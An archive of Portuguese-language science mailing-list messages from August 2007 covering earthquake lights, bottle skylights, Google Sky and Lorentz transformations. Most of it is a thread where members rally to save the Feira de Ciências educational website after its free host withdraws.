o lugar aonde houve explos�o de transformadores ou de linhas de corrente,
poderia sanar v�rias d�vidas. � preciso dedicar mais aten��o aos relatos de
testemunhas que viram as luzes em dire��o ao mar ou diretamente sobre o c�u.

Fen�menos fortianos � parte, saiba como fazer doa��es �s v�timas do
tremor<http://noticias.terra.com.br/mundo/interna/0,,OI1840890-EI8140,00.html>
.
[mais em ingl�s: Earthlights on Peru's
Earthquake?<http://forgetomori.com/2007/science/earthlights-on-perus-earthquake/>,
Earthquake lights or Electrical
transformers?<http://forgetomori.com/2007/ufos/earthquake-lights-or-electrical-transformers/>
]
Veja tamb�m

- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=590>Coincid�ncias? Haroldo
indicou na lista BURN: "People, apresento-lhes a ...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=341>Luzes no Mar do Jap�o
Outras dessas imagens tomadas pelo �nibus espacia...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=547>Disco n�o-voador Se voc�
comprar um desses, n�o vai querer que saia vo...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=380> O
Dia do Contato Final Senhoras e senhores, o dia do contato final chegou...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=159>Papai Noel OVNI Reveladora
fotografia de Raul Garza. Se o link acima n�o...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: Fw: ENERGIA ELÉTRICA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/08/2007 17:48

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> A engenhoca não pode receber mais energia luminosa do que aquela
> incidente originalmente onde se fez o buraco para passar a garrafa.

Não exatamente. Fica uma ponta do gargalo acima do buraco. A luz entra
pelas laterais do gargalo - q tem uma área maior do q o buraco. A
garrafa com água atua como um tipo de "armadilha" óptica para essa luz
e canaliza parte dela para baixo.

Mas se a área de superfície for de 100 cm2, a captação inicial - sem
considerar as perdas (reflexões primárias e internas q levam à saída d
da luz) - a constante solar é de cerca de 700 W/m2. O q daria uns 7 W
entre 10h às 14h no verão.

> Sim, a desvantagem é à noite ...

Mas como em geral é uma solução para galpões em q se trabalha de dia,
já ajuda a economizar um bocado. Não é algo para substituir por
completo a iluminação com energia elétrica.

[]s,

Roberto Takata



SUBJECT: Google lança Sky, ferramenta que permite explorar o céu
FROM: "Thiago Stein Parra" <seriall@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/08/2007 18:07

O Google, proprietário do portal de buscas mais utilizado na internet,
anunciou hoje o lançamento do Sky, uma nova ferramenta que permite ao
usuário explorar o céu com a ajuda do programa Google Earth.

Com o Sky, segundo a empresa americana, é possível contemplar o céu a partir
do ponto de vista de qualquer lugar do mundo e navegar entre cem milhões de
estrelas e 200 milhões de galáxias.

As imagens de alta resolução e a informação que as acompanha proporcionam um
cenário "único" para a visualização do espaço e para o aprendizado.

Para ter acesso à nova ferramenta, os usuários têm apenas que descarregar o
Google Earth e escolher a opção "Sky" na barra de ferramentas.

A interface e a navegação são similares às do Google Earth comum, permitindo
buscar, girar e se aproximar das estrelas, constelações e galáxias.

O Sky tem, ainda, sete painéis noticiários que ilustram vários corpos
celestes e eventos.

Assim, os usuários podem aprender sobre as constelações, estudar estrelas e
observar o espaço através de 120 imagens de alta resolução do telescópio
espacial Hubble, observatório espacial não tripulado, enviado à órbita da
Terra pela Nasa (agência espacial americana) em 1990).

Além disso, é possível admirar o movimento e as fases da lua, localizar os
sete planetas oficiais, fazer um "tour" virtual por diferentes tipos de
galáxias e realizar um percurso pelos períodos do ciclo vital de uma
estrela.

O Sky foi criado por engenheiros da equipe de Pittsburg do Google, que
juntaram imagens procedentes de inúmeros observatórios, como o Space
Telescope Science Institute, o Sloan Digital Sky Survey Consortium,
CalTech's Palomar Observatory, o United Kingdom Astronomy Technology Centre
e o Anglo-Australian Observatory.

A nova ferramenta do Google não é a primeira incursão da empresa no espaço.
Em março de 2006, ela lançou o Google Mars, que permite aos usuários
explorar a superfície do planeta vermelho.

Outro produto, o Google Moon, oferece aos internautas a possibilidade de
observar os lugares de aterrissagem das missões Apolo.

Para ambas as ferramentas, o Google utiliza dados da Nasa, com a qual o
gigante americano assinou um acordo em dezembro de 2006.

Fonte: http://noticias.uol.com.br/ultnot/efe/2007/08/22/ult1809u12604.jhtm


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Dedução das transformações de Lorentz sem saber que c = constante
FROM: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/08/2007 22:00

Olá,

Algúem da lista sabe (ou podera indicar algum livro, página, etc.)
como se pode deduzir as transformações de Lorentz sem se utilizar do
fato de a velocidade da luz ser um invariante em referenciais inerciais?
Quer dizer, tratar este fato como uma consequência e não como um
postulado "à priori"?

Desconfio que pelas equações de Maxwell (não pela equação de onda, já
que daria na mesma se supormos que c'=c e daí deduzirmos as
transformações), isso seja possível, mas não encontrei algo relacionado.

Se alguém aí souber de algo, por favor, help-me!

abraços,

Ricardo S. Vieira



SUBJECT: Re: Fw: ENERGIA ELÉTRICA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/08/2007 22:02

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> O q daria uns 7 W entre 10h às 14h no verão.

Pode parecer pouco. Mas essa liberação de energia corresponde em gde
medida em luz na faixa do visível.

Compare-se com uma lâmpada incandescente comum de 60W: a eficiência
luminosa dela é de cerca de 10%. Isto é, a energia dissipada na form
de luz visível fica em torno de 6W.

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] Dedução das transformações de Lorentz sem saber que c = constante
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/08/2007 06:12

Caro Ricardo,



Há uma maneira de se chegar ao fator gamma usando apenas as equações do E.M.


Há um artigo nessa direção em:

Revista Brasileira de Ensino de Física, Vol.3, nº 3, setembro de 2003,
autoria de Olívia Ortiz e F.D.Sasse.

O Google lhe remeterá ao site da RBEF e lá você encontrará o que quer. As
referências indicadas no artigo são suficientes para uma pesquisa mais
profunda.

Na verdade, o artigo trata da obtenção da Contratação de Lorentz, via leis
de Gaus e Ampere, sem admitir, a priori, a validade dos postulados da
relatividade.

Boas queimadas de pestanas e algumas contas.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Ricardo Soares Vieira
Enviada em: quarta-feira, 22 de agosto de 2007 22:01
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Dedução das transformações de Lorentz sem saber que c
= constante



Olá,

Algúem da lista sabe (ou podera indicar algum livro, página, etc.)
como se pode deduzir as transformações de Lorentz sem se utilizar do
fato de a velocidade da luz ser um invariante em referenciais inerciais?
Quer dizer, tratar este fato como uma consequência e não como um
postulado "à priori"?

Desconfio que pelas equações de Maxwell (não pela equação de onda, já
que daria na mesma se supormos que c'=c e daí deduzirmos as
transformações), isso seja possível, mas não encontrei algo relacionado.

Se alguém aí souber de algo, por favor, help-me!

abraços,

Ricardo S. Vieira





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Google Sky
FROM: Hemerson Brandão <hemersonbrandao@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/08/2007 17:56

Google Sky no ar!
http://www.revistamacrocosmo.com/vidadeastronomo

O Google Earth que já era bom, agora está mais perto da perfeição!

Abração

Hemerson Brandão
REVISTA MACROCOSMO.com
http://www.revistamacrocosmo.com
Diversificando a Astronomia!



SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "Igor C. Escoura" <iescoura@convex.com.br>
DATE: 23/08/2007 18:18

Sr. Igor C. Escoura,

muito me entristeceu sua mensagem.

Com média de 50 000 consultas/dia, crescendo acentuadamente, atendendo a escolas, professores, alunos, técnicos, engenheiros, faculdades, universidades, hobbystas e curiosos, com um cabedal científico respeitável, o site terá que sair do 'ar', pois não tenho condições financeiras para arcar com alguma hospedagem paga.

Ainda hoje alterarei a página inicial do site, avisando do fechamento dentro de 15 dias e colocarei os agradecimentos à CONVEX pela gentil hospedagem nesses anos todos de sucesso total, que tornou o Feira de Ciências num ícone de Educação Científica na Internet.

Solicitaria, se possível, sua autorização para colocar nessa página a mensagem que me enviou, para poder, assim, justificar o 'fechamento do site'.

Meus agradecimentos a toda equipe da Convex,
Meus agradecimentos particular ao Sr. Luiz Gustavo Z. Assis

cordialmente,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Igor C. Escoura
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 22 de agosto de 2007 17:49
Assunto: Site feiradeciencias.com.br


Sr. Luiz Ferraz,



Temos notado que o numero de acessos ao site www.feriadeciencias.com.br tem aumentado continuamente, causando uma carga alta em nossos servidores.

Estamos realizando algumas alterações em nossa infra-estrutura e infelizmente o custo / beneficio do site, o retorno do banner não é atrativo para a Convex no momento.

Podemos conseguir opções interessantes de hospedagem ASP para o senhor com alguns parceiros nossos, mas sem a opção de permuta, no caso da inserção de banner, caso contrário o senhor pode estar migrando o domínio para qualquer provedor de sua preferência, em um prazo de 15 dias, pois estaremos desativando este servidor ASP.



Qualquer dúvida entre em contato com nossa central de atendimento.





Atenciosamente



Igor Escoura





: Engº Igor C. Escoura


: Gerente Técnico

: +55 (16) 2102-1200

: iescoura@convex.com.br














------------------------------------------------------------------------------


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Checked by AVG Free Edition.
Version: 7.5.484 / Virus Database: 269.12.2/967 - Release Date: 22/08/2007 18:51


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, "Igor C. Escoura" <iescoura@convex.com.br>
DATE: 23/08/2007 19:01

A nova página de abertura do ex-Imperdível, participando o ENCERRAMENTO, já está on-line.
Foi bom enquanto durou! Valeu!

Faltam só miseráveis 60 000 consultas (coisa de um dia) para atingir os 100 milhões de páginas consultadas, desde a abertura do site. Antes do fechamento, nesses 15 dias, o contador atual chega fácil em 40 milhões.
Esse contador atual é o terceiro contador do site ... os outros dois, somando 60 milhões, foram encerrados, um pela Convex, outro pela Plesk.

Bem, não vamos viver de recordações né ... vamos continuar o atendimento aos consulentes pelo e-mail e atiçando as listas de discussões com palpites científicos.

Como todos bem o sabe, não tenho tino comercial algum para mexer com o tema 'provedor'.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: "Igor C. Escoura" <iescoura@convex.com.br>
Enviada em: quinta-feira, 23 de agosto de 2007 18:18
Assunto: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO


Sr. Igor C. Escoura,

muito me entristeceu sua mensagem.

Com média de 50 000 consultas/dia, crescendo acentuadamente, atendendo a escolas, professores, alunos, técnicos, engenheiros, faculdades, universidades, hobbystas e curiosos, com um cabedal científico respeitável, o site terá que sair do 'ar', pois não tenho condições financeiras para arcar com alguma hospedagem paga.

[ ... ]


SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/08/2007 19:14

Sem stress. :-)

Eu e o Mori temos uma experiencia em manter sites com os proprios
recursos. Dah certo! :-) E se tiver que investir uma grana, nao vai
ser muito nao. Eu acho. E dependendo da sua vontade, ateh dah pra
tirar uma grana pro cafezinho.
Eu consigo obter lucro com meus sites, mas utilizo uma certa
agressividade no posicionamento dos anuncios (adsense). Um anuncio
adsense inserido em um local nada intrusivo, lah no final da pagina,
jah poderia amenizar um pouco dos custos de hospedagem.

Nao ofereco ajuda integral e continua pq nos proximos dois meses
posso ficar alguns dias longe da internet. Mas posso dar umas dicas e
ajudar na reconfiguracao da nova hospedagem.

Para o Humor na ciencia eu estou usando o DreamHost , que custa uns
8 dolares por mes.
O Kentaro Mori usa o BlueHost ( http://www.bluehost.com/ ), que eh um
pouco mais caro, mas que aguenta a hospedagem do CeticismoAberto.





On 8/23/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>> Sr. Igor C. Escoura,
>
> muito me entristeceu sua mensagem.
>
> Com média de 50 000 consultas/dia, crescendo acentuadamente, atendendo a escolas, professores, alunos, técnicos, engenheiros, faculdades, universidades, hobbystas e curiosos, com um cabedal científico respeitável, o site terá que sair do 'ar', pois não tenho condições financeiras para arcar com alguma hospedagem paga.
>
> Ainda hoje alterarei a página inicial do site, avisando do fechamento dentro de 15 dias e colocarei os agradecimentos à CONVEX pela gentil hospedagem nesses anos todos de sucesso total, que tornou o Feira de Ciências num ícone de Educação Científica na Internet.
>
> Solicitaria, se possível, sua autorização para colocar nessa página a mensagem que me enviou, para poder, assim, justificar o 'fechamento do site'.
>
> Meus agradecimentos a toda equipe da Convex,
> Meus agradecimentos particular ao Sr. Luiz Gustavo Z. Assis
>
> cordialmente,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Igor C. Escoura
> Para: leobarretos@uol.com.br
> Enviada em: quarta-feira, 22 de agosto de 2007 17:49
> Assunto: Site feiradeciencias.com.br
>
> Sr. Luiz Ferraz,
>
> Temos notado que o numero de acessos ao site www.feriadeciencias.com.br tem aumentado continuamente, causando uma carga alta em nossos servidores.
>
> Estamos realizando algumas alterações em nossa infra-estrutura e infelizmente o custo / beneficio do site, o retorno do banner não é atrativo para a Convex no momento.
>
> Podemos conseguir opções interessantes de hospedagem ASP para o senhor com alguns parceiros nossos, mas sem a opção de permuta, no caso da inserção de banner, caso contrário o senhor pode estar migrando o domínio para qualquer provedor de sua preferência, em um prazo de 15 dias, pois estaremos desativando este servidor ASP.
>
> Qualquer dúvida entre em contato com nossa central de atendimento.
>
> Atenciosamente
>
> Igor Escoura
>
> : Engº Igor C. Escoura
>
>
> : Gerente Técnico
>
> : +55 (16) 2102-1200
>
> : iescoura@convex.com.br
>


SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/08/2007 19:32

Olá Brudna,

agradeço sua atenção ... mas, como disse, não sei e não tenho tino (nem aspiração ou inspiração) para fazer essas coisas (trocas, preencher formulário em inglês, preparar o programa de FTP para atualizações, etc. ... muitos etc.). O domínio é .com.br e não .com .
Se depender de meu entusiasmo para ir atrás de provedor, ajustar preços/condições e programas novos, sem dúvida teremos um ex-imperdível!
Não tome isso como 'querer jogar a responsabilidade sobre alguém', apenas estou sendo sincero.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 23 de agosto de 2007 19:14
Assunto: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO


Sem stress. :-)

Eu e o Mori temos uma experiencia em manter sites com os proprios
recursos. Dah certo! :-) E se tiver que investir uma grana, nao vai
ser muito nao. Eu acho. E dependendo da sua vontade, ateh dah pra
tirar uma grana pro cafezinho.
Eu consigo obter lucro com meus sites, mas utilizo uma certa
agressividade no posicionamento dos anuncios (adsense). Um anuncio
adsense inserido em um local nada intrusivo, lah no final da pagina,
jah poderia amenizar um pouco dos custos de hospedagem.

Nao ofereco ajuda integral e continua pq nos proximos dois meses
posso ficar alguns dias longe da internet. Mas posso dar umas dicas e
ajudar na reconfiguracao da nova hospedagem.

Para o Humor na ciencia eu estou usando o DreamHost , que custa uns
8 dolares por mes.
O Kentaro Mori usa o BlueHost ( http://www.bluehost.com/ ), que eh um
pouco mais caro, mas que aguenta a hospedagem do CeticismoAberto.





On 8/23/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>> Sr. Igor C. Escoura,
>
> muito me entristeceu sua mensagem.
>
> Com média de 50 000 consultas/dia, crescendo acentuadamente, atendendo a escolas, professores, alunos, técnicos, engenheiros, faculdades, universidades, hobbystas e curiosos, com um cabedal científico respeitável, o site terá que sair do 'ar', pois não tenho condições financeiras para arcar com alguma hospedagem paga.
>
> Ainda hoje alterarei a página inicial do site, avisando do fechamento dentro de 15 dias e colocarei os agradecimentos à CONVEX pela gentil hospedagem nesses anos todos de sucesso total, que tornou o Feira de Ciências num ícone de Educação Científica na Internet.
>
> Solicitaria, se possível, sua autorização para colocar nessa página a mensagem que me enviou, para poder, assim, justificar o 'fechamento do site'.
>
> Meus agradecimentos a toda equipe da Convex,
> Meus agradecimentos particular ao Sr. Luiz Gustavo Z. Assis
>
> cordialmente,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
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> -----Mensagem Original-----
> De: Igor C. Escoura
> Para: leobarretos@uol.com.br
> Enviada em: quarta-feira, 22 de agosto de 2007 17:49
> Assunto: Site feiradeciencias.com.br
>
> Sr. Luiz Ferraz,
>
> Temos notado que o numero de acessos ao site www.feriadeciencias.com.br tem aumentado continuamente, causando uma carga alta em nossos servidores.
>
> Estamos realizando algumas alterações em nossa infra-estrutura e infelizmente o custo / beneficio do site, o retorno do banner não é atrativo para a Convex no momento.
>
> Podemos conseguir opções interessantes de hospedagem ASP para o senhor com alguns parceiros nossos, mas sem a opção de permuta, no caso da inserção de banner, caso contrário o senhor pode estar migrando o domínio para qualquer provedor de sua preferência, em um prazo de 15 dias, pois estaremos desativando este servidor ASP.
>
> Qualquer dúvida entre em contato com nossa central de atendimento.
>
> Atenciosamente
>
> Igor Escoura
>
> : Engº Igor C. Escoura
>
>
> : Gerente Técnico
>
> : +55 (16) 2102-1200
>
> : iescoura@convex.com.br
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SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/08/2007 19:52

A transferencia para um outro servico realmente eh trabalhosa. Soh
pra transferir todos os dados via FTP jah leva um bom tempo. :-)

Quanto ao dominio, nao tem problema. Um .com.br pode ser hospedado
em qquer lugar.

Ok. Fica certo que o Feira nao vai sair do ar. :-)


Ateh
Luis Brudna
ps: as proximas mensagens vou enviar em privado


On 8/23/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
> Olá Brudna,
>
> agradeço sua atenção ... mas, como disse, não sei e não tenho tino (nem aspiração ou inspiração) para fazer essas coisas (trocas, preencher formulário em inglês, preparar o programa de FTP para atualizações, etc. ... muitos etc.). O domínio é .com.br e não .com .
> Se depender de meu entusiasmo para ir atrás de provedor, ajustar preços/condições e programas novos, sem dúvida teremos um ex-imperdível!
> Não tome isso como 'querer jogar a responsabilidade sobre alguém', apenas estou sendo sincero.
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================


SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/08/2007 20:52

Q isso. NÃO podemos deixar q o Feira de Ciências seja fechado.

A gente vai dar um jeito nisso.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> A nova página de abertura do ex-Imperdível, participando o
> ENCERRAMENTO, já está on-line.
> Foi bom enquanto durou! Valeu!




SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/08/2007 23:49

Eu vejo pelo menos dois meios para viabilizar o FdC - as duas envolve
transformá-la em um negócio.

- Oferecer conteúdo pago. Total ou parcial. Vantagem: é o "produto"
principal do sítio. Desvantagem: elitiza o acesso. (Solução parcial: o
pagamento confere privilégio de acesso ao conteúdo novo. Depois de um
tempo, o conteúdo é liberado. Problema: é preciso criar constantemente
conteúdos, o q redunda em consumo de recursos.)

- Oferecer produtos relacionados pagos ("lojinha do FdC"). Vantagens:
não elitiza o acesso ao conteúdo, diversifica a oferta de serviços.
Desvantagens: é preciso atrair consumidores (não é o "produto"
principal do sítio) e é preciso montar um sistema logístico (além do
propriamente comercial).

--------
A fonte de anunciantes é problemática como tivemos experiência
anterior na tentativa de vender espaço publicitário. Teria q ficar a
cargo de um agente profissional. O Google AdSense pode ajudar, embora
o retorno não seja alto. (E, segundo Brudna, o sistema de operação
está para ser alterado.)
--------

Como de todo modo essas duas soluções envolve uma mudança de cultura -
do proprietário e dos usuários - seria preciso fazer uma pré-avaliação
para saber como elas seriam recebidas: os usuários entenderiam a
necessidade de mudança? achariam q se trata de uma mercantilização vil
de informação?

E como o senhor tem todo o sítio gravado em seu computador (não se
esqueça de fazer o backup!), poderia negociar com a Convex para
estender o prazo de 15 dias: tirando-se o conteúdo do servidor web
para aliviar a carga deles, mas deixando apenas a página inicial para
se poder notificar os usuários eqto se realiza a mudança.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Q isso. NÃO podemos deixar q o Feira de Ciências seja fechado.
>
> A gente vai dar um jeito nisso.
>
> []s,
>
> Roberto Takata




SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/08/2007 23:52

Olá Leo

E se precisar de ajuda, com transferências, ajustes, modificações,
configurações, etc, pode contar também comigo. Basta informar o novo
servidor, e eu ajudo a disponibilizar o Feira onde for preciso.

Por favor, não desista deste importantíssimo site de ciências, que já
é uma referência para muita gente.

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@...>
escreveu
>
> A transferencia para um outro servico realmente eh trabalhosa. Soh
> pra transferir todos os dados via FTP jah leva um bom tempo. :-)
>
> Quanto ao dominio, nao tem problema. Um .com.br pode ser hospedado
> em qquer lugar.
>
> Ok. Fica certo que o Feira nao vai sair do ar. :-)
>
>
> Ateh
> Luis Brudna
> ps: as proximas mensagens vou enviar em privado
>
>
> On 8/23/07, Luiz Ferraz Netto <leobarretos@...> wrote:
> >
> >
> > Olá Brudna,
> >
> > agradeço sua atenção ... mas, como disse, não sei e não tenho
tino (nem aspiração ou inspiração) para fazer essas coisas (trocas,
preencher formulário em inglês, preparar o programa de FTP para
atualizações, etc. ... muitos etc.). O domínio é .com.br e não .com .
> > Se depender de meu entusiasmo para ir atrás de provedor, ajustar
preços/condições e programas novos, sem dúvida teremos um ex-imperdível!
> > Não tome isso como 'querer jogar a responsabilidade sobre
alguém', apenas estou sendo sincero.
> >
> > aquele abraço,
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@...
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
>




SUBJECT: Re: encerramento do Feira
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "Marcelo Moura" <mmmoura.bh@terra.com.br>
DATE: 24/08/2007 05:11

Olá Marcelo,

agradeço sua atenção.

O site abrande cerca de 300 Mb mas, esse não é o problema grave e sim o tráfego! Com cerca de 50 000 consultas/dia --- e ainda nem chegou no 'pico', o que ocorre de setembro em diante, onde se prevê 100 000/dia --- o tráfego supera os 80 Gb!

O Convex, que hospedava gratuitamente o Feira, está tendo problemas em atender essa demanda, segundo a mensagem que me enviaram (ou estão querendo 'algo mai$').

Não esqueça que todo o seu site no Astrodatabase é 'apenas' a Sala 24 do Feira, da qual vc é o responsável direto e extremamente bem vindo!

O pessoal do Ciência-List também está arregaçando as mangas. Será que alguns (milhares!) de e-mails para o Convex ajudaria chegar a um consenso?

PS: com cópia para o Ciencia-List

aquele abraço
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Marcelo Moura
Para: Luiz Ferraz Netto
Enviada em: quinta-feira, 23 de agosto de 2007 20:46
Assunto: Re: encerramento do Feira


Oi Léo,

Não acredito que não haja alguém disposto a hospedar um pouco de cultura gratuitamente.
Você já fez contatos? Quais são as perspectivas?
O Astrodatabase continua hospedando nossos sites a um custo irrisório!:
35 reais por ano!
Temos que botar a boca no trombone!
Vou começar a fazer um movimento.
Qual é o espaço necessário?

Abraço,

Marcelo Macedo Moura
Observatório Phoenix - BH
Observatório Phoenix
Projeto Atlas



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/08/2007 05:16

Acho que nao falei em mudancas no Adsense, nao lembro disso. :-) Soh
comentei que os ganhos com o sistema tinham diminuido no ultimo mes.
Nao sei exatamente o motivo, alguns dizem que eh por causa da epoca de
ferias.

Jah pensei e testei varios servicos de anuncios. Sem duvida o Google
Adsense eh o que dah o maior retorno com o menor trabalho. Dependendo
do objetivo eh soh colocar o anuncio e esperar a grana entrar. Soh se
quiser lucrar um pouco mais eh necessario fazer testes de
posicionamento de anuncio dentro do layout do site.

Ateh
Luis Brudna
=-=-




On 8/23/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
>
> Eu vejo pelo menos dois meios para viabilizar o FdC - as duas envolve
> transformá-la em um negócio.
>
> - Oferecer conteúdo pago. Total ou parcial. Vantagem: é o "produto"
> principal do sítio. Desvantagem: elitiza o acesso. (Solução parcial: o
> pagamento confere privilégio de acesso ao conteúdo novo. Depois de um
> tempo, o conteúdo é liberado. Problema: é preciso criar constantemente
> conteúdos, o q redunda em consumo de recursos.)
>
> - Oferecer produtos relacionados pagos ("lojinha do FdC"). Vantagens:
> não elitiza o acesso ao conteúdo, diversifica a oferta de serviços.
> Desvantagens: é preciso atrair consumidores (não é o "produto"
> principal do sítio) e é preciso montar um sistema logístico (além do
> propriamente comercial).
>
> --------
> A fonte de anunciantes é problemática como tivemos experiência
> anterior na tentativa de vender espaço publicitário. Teria q ficar a
> cargo de um agente profissional. O Google AdSense pode ajudar, embora
> o retorno não seja alto. (E, segundo Brudna, o sistema de operação
> está para ser alterado.)
> --------
>
> Como de todo modo essas duas soluções envolve uma mudança de cultura -
> do proprietário e dos usuários - seria preciso fazer uma pré-avaliação
> para saber como elas seriam recebidas: os usuários entenderiam a
> necessidade de mudança? achariam q se trata de uma mercantilização vil
> de informação?
>
> E como o senhor tem todo o sítio gravado em seu computador (não se
> esqueça de fazer o backup!), poderia negociar com a Convex para
> estender o prazo de 15 dias: tirando-se o conteúdo do servidor web
> para aliviar a carga deles, mas deixando apenas a página inicial para
> se poder notificar os usuários eqto se realiza a mudança.
>
> []s,
>
> Roberto Takata
>


SUBJECT: Site feiradeciencias.com.br - CONTINUAÇÃO
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/08/2007 09:12

Olá a todos.

Já me comprometi em arrumar patrocínio financeiro para manutenção do
"Feira" onde se encontra por no mínimo um ano. Capital levantado em no
máximo 5 dias a contar da resposta da informação solicitada ao Prof. Léo.

Caso o provedor Convex, que gentilmente hospedou o site, não tenha
mais interesse, nem pago, em hospedá-lo, outras soluções aparecerão.

Os banners Convex Internet Provider deverão ser revistos.

Na pior das hipóteses sugiro: Hospedagem patrocinada por Tipoalgo
Recicláveis!

E viva o FeiradeCiências!

Abraços
Tipoalgo




SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/08/2007 10:11

Caro Léo,

Sugiro mandar o cara pastar, pois ele não sabe nem escrever o nome do site
corretamente.

Existem servidores por aí aos montes. Com certeza você encontrará um que
seja adequado aos seus fins. Fechar o Feira
de Ciências é impensável!!

Vou colocar um post sobre isso no meu blog e divulgar o ocorrido junto aos
meus alunos.

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br



----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "Igor C. Escoura" <iescoura@convex.com.br>
Sent: Thursday, August 23, 2007 6:18 PM
Subject: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO


Sr. Igor C. Escoura,

muito me entristeceu sua mensagem.

Com média de 50 000 consultas/dia, crescendo acentuadamente, atendendo a
escolas, professores, alunos, técnicos, engenheiros, faculdades,
universidades, hobbystas e curiosos, com um cabedal científico respeitável,
o site terá que sair do 'ar', pois não tenho condições financeiras para
arcar com alguma hospedagem paga.

Ainda hoje alterarei a página inicial do site, avisando do fechamento dentro
de 15 dias e colocarei os agradecimentos à CONVEX pela gentil hospedagem
nesses anos todos de sucesso total, que tornou o Feira de Ciências num ícone
de Educação Científica na Internet.

